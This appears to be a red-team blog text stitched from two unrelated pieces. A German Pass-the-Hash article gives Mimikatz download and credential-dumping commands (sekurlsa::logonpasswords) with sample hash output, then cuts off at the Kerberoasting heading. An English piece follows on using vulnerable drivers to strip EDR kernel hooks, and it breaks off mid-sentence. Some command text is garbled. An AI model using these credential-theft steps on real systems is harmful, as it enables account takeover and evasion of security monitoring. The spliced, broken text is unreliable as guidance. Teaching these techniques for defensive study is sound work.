标签：#redteam

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

Your EDR sees everything. Process launches, thread injections, DLL loads, filesystem writes. It has eyes inside the kernel — little hooks that fire before anything consequential happens, passing information up to the agent, letting it decide whether to block or alert. Now imagine something reaches into that kernel and quietly removes the hooks. No crash. No blue screen. No alert. The EDR process is still running, the dashboard still shows healthy, but the inputs it depends on are just gone. This is part of windows internals I've been exploring — understanding how systems actually behave under the hood, not just how tools interact with them. That's not a Windows bug. That's a trust problem. BYOVD doesn't exploit Windows — it exploits trust. Ring 0 vs Ring 3 — The Boundary That Matters Windows splits execution into privilege levels. Your applications, your malware, your EDR agent — they all run in Ring 3, user mode. The kernel runs in Ring 0. In my previous posts, I focused on how processes and execution work from an attacker's perspective. This goes one layer deeper — into the kernel where those assumptions start to break. This isn't just organizational. The CPU enforces it. Ring 3 code cannot directly read kernel memory. It cannot call kernel functions. Every interaction goes through a controlled interface — syscalls — and the kernel decides whether to honor each request. This is why typical malware stays loud. It has to use syscalls. Syscalls can be intercepted and monitored. At Ring 0, security tools are just data structures. Get code running in the kernel and those data structures become writable. The callback tables EDRs rely on, the hook registrations, the minifilter stack — all of it is reachable, readable, modifiable. A Quick Personal Note on Why This Boundary Matters Early on when I was messing around with kernel concepts, I tried doing something simple from user mode — reading a memory address that I knew belonged to a kernel structure. The kind of thing th